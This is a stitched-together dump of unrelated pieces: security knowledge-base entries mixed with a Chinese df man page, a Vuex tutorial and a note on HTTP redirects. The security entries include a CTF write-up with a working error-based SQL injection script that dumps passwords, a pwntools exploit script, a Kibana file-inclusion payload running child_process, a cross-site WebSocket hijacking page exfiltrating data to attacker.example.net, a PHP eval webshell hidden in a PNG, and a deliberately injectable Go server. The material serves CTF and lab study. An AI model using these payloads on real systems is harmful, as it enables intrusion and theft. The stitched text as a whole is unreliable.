<p class=MsoNormal style='margin-bottom:0cm;margin-bottom:.0001pt;line-height:
normal'><span lang=EN-US>(1)union(select(id)from(employees))</span></p>
</td>
<td width=161 valign=top style='width:120.5pt;border-top:none;border-left:
none;border-bottom:solid windowtext 1.0pt;border-right:solid windowtext 1.0pt;
padding:0cm 5.4pt 0cm 5.4pt'>
<p class=MsoNormal style='margin-bottom:0cm;margin-bottom:.0001pt;line-height:
normal'><span lang=en-IL>SQL error: The used SELECT statements have a
different number of columns</span></p>
</td>
<td width=138 valign=top style='width:103.75pt;border-top:none;border-left:
none;border-bottom:solid windowtext 1.0pt;border-right:solid windowtext 1.0pt;
padding:0cm 5.4pt 0cm 5.4pt'>
<p class=MsoNormal style='margin-bottom:0cm;margin-bottom:.0001pt;line-height:
normal'><span lang=EN-US>We can (almost) union</span></p>
</td>
</tr>
<tr>
<td width=302 valign=top style='width:226.55pt;border:solid windowtext 1.0pt;
border-top:none;padding:0cm 5.4pt 0cm 5.4pt'>
<p class=MsoNormal style='margin-bottom:0cm;margin-bottom:.0001pt;line-height:
normal'><span lang=EN-US>(1)union(select(password)from(employees))</span></p>
</td>
<td width=161 valign=top style='width:120.5pt;border-top:none;border-left:
none;border-bottom:solid windowtext 1.0pt;border-right:solid windowtext 1.0pt;
padding:0cm 5.4pt 0cm 5.4pt'>
<p class=MsoNormal style='margin-bottom:0cm;margin-bottom:.0001pt;line-height:
normal'><span lang=en-IL>SQL error: The used SELECT statements have a
different number of columns</span></p>
</td>
<td width=138 valign=top style='width:103.75pt;border-top:none;border-left:
none;border-bottom:solid windowtext 1.0pt;border-right:solid windowtext 1.0pt;
padding:0cm 5.4pt 0cm 5.4pt'>
<p class=MsoNormal style='margin-bottom:0cm;margin-bottom:.0001pt;line-height:
normal'><span lang=EN-US>Column “password” exists (no “unknown column” error)</span></p>
</td>
</tr>
<tr>
<td width=302 valign=top style='width:226.55pt;border:solid windowtext 1.0pt;
border-top:none;padding:0cm 5.4pt 0cm 5.4pt'>
<p class=MsoNormal style='margin-bottom:0cm;margin-bottom:.0001pt;line-height:
normal'><span lang=EN-US>extractvalue(floor(0),concat(0x0a,(select(password)from(employees)where(id)like(1))))</span></p>
</td>
<td width=161 valign=top style='width:120.5pt;border-top:none;border-left:
none;border-bottom:solid windowtext 1.0pt;border-right:solid windowtext 1.0pt;
padding:0cm 5.4pt 0cm 5.4pt'>
<p class=MsoNormal style='margin-bottom:0cm;margin-bottom:.0001pt;line-height:
normal'><span lang=en-IL>SQL error: XPATH syntax error: ' emilio'</span></p>
</td>
<td width=138 valign=top style='width:103.75pt;border-top:none;border-left:
none;border-bottom:solid windowtext 1.0pt;border-right:solid windowtext 1.0pt;
padding:0cm 5.4pt 0cm 5.4pt'>
<p class=MsoNormal style='margin-bottom:0cm;margin-bottom:.0001pt;line-height:
normal'><span lang=EN-US>We can extract passwords</span></p>
</td>
</tr>
</table>
<p class=MsoNormal><span lang=EN-US> </span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'> </span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>כלומר, אם נריץ את
הסקריפט הבא, נקבל את הסיסמאות של כל המשתמשים:</span></p>
```python
for i in range(30):
sql = "extractvalue(floor(0),concat(0x0a,(select(password)from(employees)where(id)like({}))))".format(i)
r = requests.get("http://challenges.owaspil.ctf.today:8081/profile.php?id={}".format(sql))
print ("{}: {}".format(i, r.text))
```
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=en-IL dir=LTR> </span></p>
<p class=MsoNormal dir=RTL style='margin-bottom:0cm;margin-bottom:.0001pt;
text-align:right;direction:rtl;unicode-bidi:embed'><span lang=HE
style='font-family:"Arial",sans-serif'>החלק המעניין של התוצאה:</span></p>
```
11: SQL error: XPATH syntax error: 'pippen'
12: SQL error: XPATH syntax error: 'icu812'
13: SQL error: XPATH syntax error: 'OWASP-IL{I_Am_The_WAF_Bypass_Ma'
14: SQL error: XPATH syntax error: 'alfredo'
15: SQL error: XPATH syntax error: 'stanley'
```
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=EN-US dir=LTR> </span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>אנחנו כמעט שם, נראה
שהפלט מוגבל ל-32 תווים.</span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>כדי לקבל את החלק
השני של הסיסמא, נשתמש בפונקציית </span><span lang=EN-US dir=LTR>right</span><span
dir=RTL></span><span lang=HE style='font-family:"Arial",sans-serif'><span
dir=RTL></span> של </span><span lang=EN-US dir=LTR>MySQL</span><span dir=RTL></span><span
lang=HE style='font-family:"Arial",sans-serif'><span dir=RTL></span>:</span></p>
```python
sql = "extractvalue(floor(0),concat(0x0a,(select(password)from(employees)where(id)like({}))))".format(13)
r = requests.get("http://challenges.owaspil.ctf.today:8081/profile.php?id={}".format(sql))
print ("{}".format(r.text))
sql = "extractvalue(floor(0),concat(0x0a,(select(right(password,31))from(employees)where(id)like({}))))".format(13)
r = requests.get("http://challenges.owaspil.ctf.today:8081/profile.php?id={}".format(sql))
print ("{}".format(r.text))
```
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>התוצאה:</span></p>
```
SQL error: XPATH syntax error: 'OWASP-IL{I_Am_The_WAF_Bypass_Ma'
SQL error: XPATH syntax error: 'IL{I_Am_The_WAF_Bypass_Master!}'
```
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>כלומר, הדגל הוא:</span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><b><span lang=EN-US dir=LTR>OWASP-IL{I_Am_The_WAF_Bypass_Master!}</span></b></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=en-IL dir=LTR> </span></p>
<p class=MsoNormal dir=RTL style='text-align:right;direction:rtl;unicode-bidi:
embed'><span lang=HE style='font-family:"Arial",sans-serif'>ו-</span><span
lang=en-IL dir=LTR>Frank Morris</span><span dir=RTL></span><span lang=HE
style='font-family:"Arial",sans-serif'><span dir=RTL></span>? האגדה אומרת שהוא
הצליח לברוח מכלא אלקטרז יחד עם שני אסירים נוספים, ואף אחד לא ראה אותם מאז.</span></p>
<p class=MsoNormal><span lang=HE dir=RTL style='font-family:"Arial",sans-serif'> </span></p>
|
sec-knowleage
|
from pwn import *
import json
r=remote("anon.ctfcompetition.com", 1337)
r.send("NEWACC\n"*256)
r.send("NEWCARD\n"*256)
r.send("ASSOC ucard0xff uaccount0x1\n")
r.send("ASSOC ucard0xfe uaccount0x1\n")
r.send("ASSOC ucard0x1 uaccount0x1\n")
for i in range(1, 0x41):
r.send("ASSOC ucard"+hex(i)+" uaccount"+hex(i+1)+"\n")
r.send("ASSOC ucard"+hex(i+1)+" uaccount"+hex(i+1)+"\n")
r.send("ASSOC ccard"+hex(i)+" uaccount"+hex(i+1)+"\n")
r.send("ASSOC ucard0x41 uaccount0x42\n")
r.send("BACKUP\n")
r.recvuntil("[")
s="["+r.recvline()
j=json.loads(s)
print json.dumps(j, indent=4)
vertices=[]
edges={}
isburnt={}
for v in j:
a="a_"+v["account"]
vertices.append(a)
for c in v["cards"]:
c1=c
c = "c_"+c["card"]
isburnt[c] = "flagged" in c1
if c not in vertices:
vertices.append(c)
if a not in edges:
edges[a] = [c]
else:
edges[a].append(c)
if c not in edges:
edges[c] = [a]
else:
edges[c].append(a)
print vertices
print edges
# That's a very inefficient means of finding longest chain in the graph, but
# it works for the graph of this size...
def dfs(vis, v):
vis=vis[:]
res=0
if v in edges:
for e in edges[v]:
if e not in vis:
res=max(res, dfs(vis+[e], e))
return res+1
bestd=-1
cands=[]
for v in vertices:
d=dfs([v], v)
if d>bestd:
cands=[]
bestd=d
if d==bestd:
cands.append(v)
print bestd, cands
for c in cands:
if c[0]=="a":
a=c
prevc = edges[a][0]
if edges[prevc][0] == a:
a = edges[prevc][1]
else:
a = edges[prevc][0]
result=""
while True:
target = None
next = None
print len(edges[a]),"edges"
for e in edges[a]:
if len(edges[e]) == 1:
target = e
elif e != prevc:
next = e
if next is None:
break
if isburnt[target]:
result+="1"
else:
result+="0"
c=next
for e in edges[c]:
if e != a:
next = e
a=next
prevc=c
print result
print len(result)
r.sendline(result[::-1])
r.interactive()
|
sec-knowleage
|
# Does Linux Dream of Windows?
Here we can see the ASP.NET application that allows to upload files, compress them with zip and browse all our uploaded / packed files.
We also have access to the source code and `apache2` directory content.
The flag is hidden in 3 parts inside source files: `upload.aspx`, `upload.aspx.cs` and `Web.config`
#### Observation 1
By looking at headers we can see that the application is running on linux:
`Server: Apache/2.4.41 (Ubuntu)`
and by examining config files we discover that the c# code is being run using mono framework.
#### Observation 2
Let's take a look at the hint given by organisers:
```
Hint2 (2020-09-19 20:00:00 UTC): Did you try "Back To Top" from upload.aspx? What's happening?
```
That link points to `http://dream.chal.ctf.westerns.tokyo/INDEX.HTM` - notice the capital letters. W can try different combinations of all the files available in web service and notice that all of the names are case-insensitive. There is no module responsible for that in apache config, so we can guess all the magic happens on filesystem level and we need to find some FS<->apache mismatch.
Trying to read source files with one letter changed to capital gives us an error:

Digging a little bit further we found that UTF character `ſ` is mapped to `s` in that FS. However, it is **not** `s`, so we can request the file `upload.aspx` as `upload.aſpx` and the code won't be executed and we'll be able to read the code. We can use the same trick for `upload.aspx.cs`. For `Web.config` we can use soft hypen character (https://en.wikipedia.org/wiki/Soft_hyphen) and request it as http://dream.chal.ctf.westerns.tokyo/Web.conf%C2%ADig
That gives us all 3 parts of the flag:
```
TWCTF{f29941def1f24f2c1e15ba36390e1302a61614bfc698267bc4a13485d6ae}
```
|
sec-knowleage
|
# strings it
Category: Reversing & Binary Exploitation
## Description
> I think you know what to do.
A binary file was attached.
## Solution
Should we even run it? Nah...
```console
root@kali:/media/sf_CTFs/technion/strings_it# strings strings_it | grep cstechnion
cstechnion{w3lc0Me_t0_rEv}
```
|
sec-knowleage
|
# Kibana Local File Inclusion (CVE-2018-17246)
Kibana 为 Elassticsearch 设计的一款开源的视图工具。其5.6.13到6.4.3之间的版本存在一处文件包含漏洞,通过这个漏洞攻击者可以包含任意服务器上的文件。此时,如果攻击者可以上传一个文件到服务器任意位置,即可执行代码。
参考链接:
- https://nvd.nist.gov/vuln/detail/CVE-2018-17246
- https://www.cyberark.com/threat-research-blog/execute-this-i-know-you-have-it/
- https://www.anquanke.com/post/id/168291
## 环境搭建
启动 Kibana 5.6.12 和 Elasticsearch 5.6.16 环境:
```
docker compose up -d
```
环境启动后,访问`http://your-ip:5106`即可看到Kibana的默认首页。
## 漏洞复现
直接访问如下URL,来包含文件`/etc/passwd`:
```
http://your-ip:5601/api/console/api_server?sense_version=%40%40SENSE_VERSION&apis=../../../../../../../../../../../etc/passwd
```
虽然在返回的数据包里只能查看到一个500的错误信息,但是我们通过执行`docker compose logs`即可发现,`/etc/passwd`已经成功被包含:

所以,我们需要从其他途径往服务器上上传代码,再进行包含从而执行任意命令。比如,我们将如下代码上传到服务器的`/tmp/vulhub.js`:
```js
// docker compose exec kibana bash && echo '...code...' > /tmp/vulhub.js
export default {asJson: function() {return require("child_process").execSync("id").toString()}}
```
成功包含并返回命令执行结果:

|
sec-knowleage
|
# Web Sockets
> The WebSocket protocol allows a bidirectional and full-duplex communication between a client and a server
## Summary
* [Tools](#tools)
* [Exploit](#exploit)
* [Using ws-harness.py](#using-ws-harness-py)
* [Cross-Site WebSocket Hijacking (CSWSH)](#cross-site-websocket-hijacking-cswsh)
* [Labs](#labs)
* [References](#references)
## Tools
* [ws-harness.py](https://gist.githubusercontent.com/mfowl/ae5bc17f986d4fcc2023738127b06138/raw/e8e82467ade45998d46cef355fd9b57182c3e269/ws.harness.py)
## Exploit
### Using ws-harness.py
Start ws-harness to listen on a web-socket, and specify a message template to send to the endpoint.
```powershell
python ws-harness.py -u "ws://dvws.local:8080/authenticate-user" -m ./message.txt
```
The content of the message should contains the **[FUZZ]** keyword.
```json
{"auth_user":"dGVzda==", "auth_pass":"[FUZZ]"}
```
Then you can use any tools against the newly created web service, working as a proxy and tampering on the fly the content of message sent thru the websocket.
```python
sqlmap -u http://127.0.0.1:8000/?fuzz=test --tables --tamper=base64encode --dump
```
## Cross-Site WebSocket Hijacking (CSWSH)
If the WebSocket handshake is not correctly protected using a CSRF token or a
nonce, it's possible to use the authenticated WebSocket of a user on an
attacker's controlled site because the cookies are automatically sent by the
browser. This attack is called Cross-Site WebSocket Hijacking (CSWSH).
Example exploit, hosted on an attacker's server, that exfiltrates the received
data from the WebSocket to the attacker:
```html
<script>
ws = new WebSocket('wss://vulnerable.example.com/messages');
ws.onopen = function start(event) {
ws.send("HELLO");
}
ws.onmessage = function handleReply(event) {
fetch('https://attacker.example.net/?'+event.data, {mode: 'no-cors'});
}
ws.send("Some text sent to the server");
</script>
```
You have to adjust the code to your exact situation. E.g. if your web
application uses a `Sec-WebSocket-Protocol` header in the handshake request,
you have to add this value as a 2nd parameter to the `WebSocket` function call
in order to add this header.
## Labs
* [PortSwigger Labs for Web Sockets](https://portswigger.net/web-security/all-labs#http-request-smuggling)
## References
- [HACKING WEB SOCKETS: ALL WEB PENTEST TOOLS WELCOMED by Michael Fowl | Mar 5, 2019](https://web.archive.org/web/20190306170840/https://www.vdalabs.com/2019/03/05/hacking-web-sockets-all-web-pentest-tools-welcomed/)
- [Hacking with WebSockets - Qualys - Mike Shema, Sergey Shekyan, Vaagn Toukharian](https://media.blackhat.com/bh-us-12/Briefings/Shekyan/BH_US_12_Shekyan_Toukharian_Hacking_Websocket_Slides.pdf)
- [Mini WebSocket CTF - January 27, 2020 - Snowscan](https://snowscan.io/bbsctf-evilconneck/#)
- [Hacktricks - CSWSH](https://book.hacktricks.xyz/pentesting-web/cross-site-websocket-hijacking-cswsh)
|
sec-knowleage
|
.\" DO NOT MODIFY THIS FILE! It was generated by help2man 1.48.5.
.\"*******************************************************************
.\"
.\" This file was generated with po4a. Translate the source file.
.\"
.\"*******************************************************************
.TH DF 1 2022年9月 "GNU coreutils 9.1" 用户命令
.SH 名称
df \- 报告文件系统空间使用情况
.SH 概述
\fBdf\fP [\fI\,选项列表\/\fP]... [\fI\,文件列表\/\fP]...
.SH 描述
本手册页是 GNU 版 \fBdf\fP 的文档。\fBdf\fP
命令列出指定的每一个文件名所在的文件系统上可用空间的数量。如果没有指定文件名,则显示当前所有已挂载的文件系统。磁盘空间默认以 1K
为一块显示,如果环境变量 POSIXLY_CORRECT 已设置,则采用 512字节作为一块显示。
.PP
如果参数是一个包含已挂载文件系统的磁盘设备节点的绝对路径文件名,\fBdf\fP 显示在这个文件系统上的可用空间,而非包含这个设备节点的文件系统。这个版本的
\fBdf\fP 不能显示未挂载文件系统的可用空间,因为在绝大多数系统中,这项功能的实现需要利用特定文件系统结构上不可移植且紧耦合的知识。
.SH 选项
.PP
显示文件列表中每一个文件所在的文件系统的信息,没有指定文件则默认为整个文件系统。
.PP
必选参数对长短选项同时适用。
.TP
\fB\-a\fP, \fB\-\-all\fP
包含伪(pseudo)、重复和无法访问的文件系统
.TP
\fB\-B\fP, \fB\-\-block\-size\fP=\fI\,大小\/\fP
以指定大小为单位对块大小进行输出;例如,\&'\-BM' 以 1,048,576 字节为单位输出大小;详情请参见下方的“SIZE 格式”部分
.TP
\fB\-h\fP, \fB\-\-human\-readable\fP
以 1024 为幂显示大小(例如,1023M)
.TP
\fB\-H\fP, \fB\-\-si\fP
以 1000 为幂输出大小(例,1.1G)
.TP
\fB\-i\fP, \fB\-\-inodes\fP
显示 inode 信息而非块使用量
.TP
\fB\-k\fP
类似于 \fB\-\-block\-size\fP=\fI\,1K\/\fP
.TP
\fB\-l\fP, \fB\-\-local\fP
仅列出本地的文件系统
.TP
\fB\-\-no\-sync\fP
取得使用量数据前不进行同步动作(默认)
.TP
\fB\-\-output\fP[=\fI\,字段列表\/\fP]
使用字段列表定义的输出格式,如果不指定字段列表,则输出所有域
.TP
\fB\-P\fP, \fB\-\-portability\fP
使用 POSIX 输出格式
.TP
\fB\-\-sync\fP
取得使用量数据前先进行同步(sync)
.TP
\fB\-\-total\fP
省略所有对可用空间无显著影响的项,并生成总计值
.TP
\fB\-t\fP, \fB\-\-type\fP=\fI\,类型\/\fP
只显示指定文件系统为指定类型的信息
.TP
\fB\-T\fP, \fB\-\-print\-type\fP
显示文件系统类型
.TP
\fB\-x\fP, \fB\-\-exclude\-type\fP=\fI\,类型\/\fP
只显示不是指定类型的文件系统的信息
.TP
\fB\-v\fP
(被忽略的选项)
.TP
\fB\-\-help\fP
显示此帮助信息并退出
.TP
\fB\-\-version\fP
显示版本信息并退出
.PP
所显示的数值的单位是 \fB\-\-block\-size\fP 选项的参数、DF_BLOCK_SIZE、BLOCK_SIZE 和 BLOCKSIZE
环境变量的值中,第一个可用的“大小”。否则,默认单位是 1024 字节(如果 POSIXLY_CORRECT 被设定,则为 512 字节)。
.PP
“大小”参数是一个整数,后面可以跟一个单位(例如:10K 指 10*1024)。可用的单位有 K、M、G、T、P、E、Z、Y(1024 的幂)以及
KB、MB、...(1000 的幂)。也可以使用二进制前缀:KiB=K、MiB=M,以此类推。
.PP
"字段列表"
是以逗号分隔的列表,指示需要包含在内的列。有效的字段名称包括:"source"、"fstype"、"itotal"、"iused"、"iavail"、"ipcent"、\&"size"、"used"、"avail"、"pcent"、"file"
和 "target"(请参考 info 信息页)。
.SH 作者
由 Torbjorn Granlund、David MacKenzie 和 Paul Eggert 编写。
.SH 报告错误
GNU coreutils 的在线帮助: <https://www.gnu.org/software/coreutils/>
.br
请向 <https://translationproject.org/team/zh_CN.html> 报告翻译错误。
.SH 版权
Copyright \(co 2022 Free Software Foundation, Inc. License GPLv3+: GNU GPL
version 3 or later <https://gnu.org/licenses/gpl.html>.
.br
本软件是自由软件:您可以自由修改和重新发布它。在法律允许的范围内,不提供任何保证。
.SH 参见
完整文档请见: <https://www.gnu.org/software/coreutils/df>
.br
或者在本地使用: info \(aq(coreutils) df invocation\(aq
|
sec-knowleage
|
# Aapache Tomcat AJP 文件包含漏洞(CVE-2020-1938)
Java 是目前 Web 开发中最主流的编程语言,而 Tomcat 是当前最流行的 Java 中间件服务器之一,从初版发布到现在已经有二十多年历史,在世界范围内广泛使用。
[Ghostcat(幽灵猫)](https://www.chaitin.cn/zh/ghostcat) 是由长亭科技安全研究员发现的存在于 Tomcat 中的安全漏洞,由于 Tomcat AJP 协议设计上存在缺陷,攻击者通过 Tomcat AJP Connector 可以读取或包含 Tomcat 上所有 webapp 目录下的任意文件,例如可以读取 webapp 配置文件或源代码。此外在目标应用有文件上传功能的情况下,配合文件包含的利用还可以达到远程代码执行的危害。
参考链接:
- https://www.chaitin.cn/zh/ghostcat
- https://www.cnvd.org.cn/webinfo/show/5415
- https://mp.weixin.qq.com/s/D1hiKJpah3NhEBLwtTodsg
- https://mp.weixin.qq.com/s/GzqLkwlIQi_i3AVIXn59FQ
## 漏洞环境
执行如下命令启动一个Tomcat 9.0.30:
```
docker compose up -d
```
环境启动后,访问`http://your-ip:8080`即可查看tomcat默认页面,此时通过AJP协议的8009端口亦可访问Tomcat。
## 漏洞利用
利用官方网站在线测试:

利用如下工具均可测试漏洞:
- https://github.com/chaitin/xray
- https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi

|
sec-knowleage
|
# Python unpickle 造成任意命令执行漏洞
## 原理
参考文章:
- http://rickgray.me/2015/09/12/django-command-execution-analysis.html
- https://www.leavesongs.com/PENETRATION/zhangyue-python-web-code-execute.html
## 测试
编译及运行测试环境:
```
docker compose build
docker compose up -d
```
访问`http://your-ip:8000`,显示`Hello {username}!`。username是取Cookie变量user,对其进行base64解码+反序列化后还原的对象中的“username”变量,默认为“Guest”,伪代码:`pickle_decode(base64_decode(cookie['user']))['username'] or 'Guest'`。
调用exp.py,反弹shell:

|
sec-knowleage
|
// +build !wasm
package main
import (
"bytes"
"context"
"crypto/md5"
"fmt"
"github.com/golang/groupcache/lru"
"github.com/golang/protobuf/proto"
"log"
"net/http"
"os/exec"
"strings"
"sync"
"time"
)
type validator struct {
cache *lru.Cache
lock sync.Mutex
}
const validChars = "abcdefghijklmnopqrstuvwxuz.1234567890"
func checkAddress(address string) bool {
valid := true
for _, char := range address {
if !strings.ContainsRune(validChars, char) {
valid = false
}
}
return valid
}
func md5bytes(data []byte) string {
h := md5.New()
h.Write(data)
return string(h.Sum(nil))
}
func (v *validator) Valid(data []byte) *Command {
if len(data) > 270 {
return nil
}
key := md5bytes(data)
v.lock.Lock()
defer v.lock.Unlock()
var cmd Command
if err := proto.Unmarshal(data, &cmd); err != nil {
return nil
}
var address string
switch c := cmd.Command.(type) {
case *Command_PingCommand:
address = c.PingCommand.GetAddress()
case *Command_TracerouteCommand:
address = c.TracerouteCommand.GetAddress()
}
valid, ok := v.cache.Get(key)
if ok && valid.(bool) {
return &cmd
} else if checkAddress(address) {
v.cache.Add(key, true)
return &cmd
}
return nil
}
func newValidator(entries int) *validator {
return &validator{
cache: lru.New(entries),
}
}
func execute(cmd *Command) *ExecutionResult {
var commandline string
switch c := cmd.Command.(type) {
case *Command_PingCommand:
commandline = fmt.Sprintf("ping -%d -c %d %s", c.PingCommand.GetIpVersion(), c.PingCommand.GetCount(), c.PingCommand.GetAddress())
case *Command_TracerouteCommand:
commandline = fmt.Sprintf("traceroute -%d %s", c.TracerouteCommand.GetIpVersion(), c.TracerouteCommand.GetAddress())
}
ctx, cancel := context.WithTimeout(context.Background(), 10*time.Second)
defer cancel()
e := exec.CommandContext(ctx, "/bin/sh", "-c", commandline)
output, err := e.CombinedOutput()
if err != nil {
return &ExecutionResult{
Result: &ExecutionResult_Error_{
Error: &ExecutionResult_Error{
Error: proto.String(err.Error()),
},
},
}
}
return &ExecutionResult{
Result: &ExecutionResult_Success_{
Success: &ExecutionResult_Success{
Output: output,
},
},
}
}
func logHandler(handler http.Handler) http.Handler {
if handler == nil {
handler = http.DefaultServeMux
}
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
log.Println(r.RemoteAddr, r.Method, r.URL)
handler.ServeHTTP(w, r)
})
}
func main() {
v := newValidator(10000)
http.Handle("/static/", http.StripPrefix("/static/", http.FileServer(http.Dir("."))))
http.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {
http.ServeFile(w, r, "index.html")
})
http.HandleFunc("/command", func(w http.ResponseWriter, r *http.Request) {
var buf bytes.Buffer
_, err := buf.ReadFrom(r.Body)
if err != nil {
w.WriteHeader(http.StatusInternalServerError)
return
}
cmd := v.Valid(buf.Bytes())
if cmd == nil {
w.WriteHeader(http.StatusInternalServerError)
return
}
result := execute(cmd)
data, err := proto.Marshal(result)
if err != nil {
w.WriteHeader(http.StatusInternalServerError)
return
}
w.Write(data)
})
http.ListenAndServe(":8080", logHandler(nil))
}
|
sec-knowleage
|
# TempImage - FLAG1
## 0x00 Index

## 0x01 Generate Image Shell
Run bat file [gen_imgshell.bat](./gen_imgshell.bat).
```batch
copy img.png/b + webshell.php shell.png
```
Get shell.png which has the injected code.
```php
<?php @eval($_POST['hacker1'])?>
```

## 0x02 Upload the Image Shell
Catch the request and change the file name.
```
Content-Disposition: form-data; name="filename"
/../../shell.php
```
Shell upload successfully.

## 0x03 Connect Server

## 0x04 FLAG
Flag can be found in index.php

|
sec-knowleage
|
# 制作带延迟的 API 数据
### 调整数据结构
一般在项目下 src 文件夹下,创建 api 文件夹,创建需要的文件来存放数据
结构如下:

### 写入数据
将需要的数据,写入
```js
const _comments = [
{ text: '哈哈' },
{ text: '嘿嘿' },
{ text: '呵呵' }
]
```
数据部分就按照自己的要求写入
```js
export default {
getComments (cd) {
setTimeout(() => cd(_comments), 2000)
}
}
```
导出一个对象,对象里有一个 getComments 方法,两秒后将数据导入 getComments 函数
### 读取数据
读取数据时,需要先导入
```js
import comment from '../api/comment'
```
直接调用 getComments 方法就可读取数据
```js
// created 生命周期函数
created () {
//调用 api 的 getComments 方法
comment.getComments(posts =>
//通过 形参 posts 拿到数据
console.log('created', posts)
)
}
```
### 使用
在项目中我们一般将数据,通过异步的 action 将数据请求到本地中,在通过 mutation 将数据放入 state 中。
如果在组件中使用,需要发送一个 dispatch 进行触发 action 请求到数据
在 store 中,将数据从 api 请求到 state
```js
import comment from '../../api/comment'
import * as types from '../mutation-types'
let state = {
all: [
]
}
const mutations = {
[types.ADD_COMMENT] (state, { text }) {
state.all.push({ text })
},
//将 数据 comments 赋给 state
[types.LOAD_COMMENTS] (state, { comments }) {
state.all = comments
}
}
// 异步 action
const actions = {
//getAllPosts 方法
getAllPosts ({ commit }) {
// 通过 commit 参数触发 mutations
comment.getComments(comments => {
// comment.getComments 进行数据请求
// comments 导出数据
commit(types.LOAD_COMMENTS, { comments })
//触发 mutations 导入 comments 数据
})
}
}
export default {
state,
actions,
mutations
}
```
在组件中,通过 dispatch 触发 action
```js
created () {
this.$store.dispatch('getAllPosts')
console.log('created',this.$store.state.comment.all)
}
```
### 参考
- Github:[点击进入](https://github.com/l552177239/vuex-demo/tree/master/src)
- Vue文档:[点击进入](https://cn.vuejs.org/v2/guide/instance.html#实例生命周期)
- Vuex:[点击进入](https://vuex.vuejs.org/zh-cn/intro.html)
|
sec-knowleage
|
version: '2'
services:
discuz:
image: vulhub/discuz:7.2
depends_on:
- db
ports:
- "8080:80"
db:
image: mysql:5.5
environment:
MYSQL_ROOT_PASSWORD: root
MYSQL_DATABASE: discuz
|
sec-knowleage
|
# 跳转
---
## 服务端跳转
跳转发生在服务器上,用户不会有任何感觉。,往往通过代码去控制,因此有些时候我们也不叫做跳转。具体的服务端跳转行为有很多,各个语言技术都有各自的特点。
- 优点:跳转行为在 server 进行, 一次 tcp 连接完成相关操作,对用户是透明的,不会造成疑惑。
- 缺点:对用户隐藏了信息,跳转行为都发生在 server 端,对 server 有压力。
---
## 客户端跳转
**http层跳转**
http 跳转是指 server 根据工作情况通过 http 返回状态码,利用 http 的重定向协议指示客户端浏览器跳转到相应页面的过程,一般返回码是 302。跳转发生在服务端发生数据给客户端过程中,用户能够感觉到.
- 优点:响应速度快,在 http1.1 协议下通过合适的设置可以使用同一个 tcp 连接,节省网络时间,服务器及用户端都不需要进行额外的数据处理工作,节省时间。
- 缺点:仅仅能做跳转没有其他功能,基于 js 及 html 的跳转可以选择延时跳转,但是 302 无法选择延时跳转等。
**应用层跳转**
- html head 跳转(HTML refresh)
跳转发生在服务端已经将数据传输到客户端以后,用户能够感觉到。
- 优点:跳转方式灵活,可以指定延时跳转等等
- 缺点:可能多次建立 tcp 连接,在低速网络下效率更低,浪费客户端的时间。
在 html 代码的 head 中添加特殊标签,如下
```html
<meta http-equiv="refresh" content="5"; url="https://ffffffff0x.com/" />
```
表示:5秒之后转到 ffffffff0x 首页,这个跳转需要浏览器具体解析 html 后采能进行。
- js 跳转
跳转发生在服务端已经将数据传输到客户端以后,用户能够感觉到
- 优点:跳转方式灵活,可以指定延时跳转等等
- 缺点:可能多次建立 tcp 连接,在低速网络下效率更低,浪费客户端的时间。
通过在 html 代码中添加 js 代码,通过 js 代码实现跳转:
```html
<script language="javascript" type="text/javascript">
window.location.href="https://ffffffff0x.com/";
</script>
```
这个跳转应该比 html head 跳转更向后延迟。
---
## Source & Reference
- [【黑帽SEO系列】页面跳转](https://thief.one/2016/10/10/%E9%BB%91%E5%B8%BDSEO%E4%B9%8B%E9%A1%B5%E9%9D%A2%E8%B7%B3%E8%BD%AC/)
- [页面自动跳转与http302、html refresh以及js跳转之间的关系](http://www.iigrowing.cn/ye-mian-zi-dong-tiao-zhuan-yu-http302-html-refresh-yi-ji-js-tiao-zhuan-zhi-jian-de-guan-xi.html)
|
sec-knowleage
|
# Computed Shopping Assistant II
Category: Reversing, 300 Points
## Description
> Welcome to Computed Shopping Assistant II
>
> Sadly, some users found a way to abuse the system and use a secret coupon.
>
> This time, we have added a new coupon that can't be revealed!
>
> Note: the flag is in the format of CSA{...}
Three files were attached.
<details>
<summary>View sources...</summary>
`shopping_cart.h`:
```c
#ifndef SHOPPING_CART_H
#define SHOPPING_CART_H
#include <stdio.h>
#include <stdlib.h>
#include <stdbool.h>
#include <string.h>
#define SHOPPING_CART_SIZE 100
#define STRING_BUFFER_SIZE 100
#define HIGH_DISCOUNT_AMOUNT 90
enum item_type {
TYPE_UNDEFINED = 0,
TYPE_BREAD = 'b', // loaves
TYPE_PASTA = 'p', // kilograms
TYPE_SOUP = 's', // liters
TYPE_DRINK = 'd', // liters
TYPE_VEGETABLE = 'v', // kilograms
TYPE_FRUIT = 'f', // items
TYPE_COUPON = 'c',
};
struct coupon_item {
int discount_amount;
int have_entered;
int is_valid;
int length;
int expiration_day;
int expiration_month;
int expiration_year;
char code[STRING_BUFFER_SIZE];
};
struct grocery_item {
int amount_grams; // deprecated - use kilograms instead
int amount_kilograms;
int amount_items;
int amount_loaves;
int amount_liters;
char description[STRING_BUFFER_SIZE];
};
struct shopping_cart_item {
enum item_type type;
union {
struct coupon_item coupon;
struct grocery_item grocery_item;
};
};
typedef struct shopping_cart_item item;
struct shopping_cart {
int amount_of_items;
item items[SHOPPING_CART_SIZE];
};
item* add_item(enum item_type type);
void remove_item(int index);
bool can_edit_item(item* item);
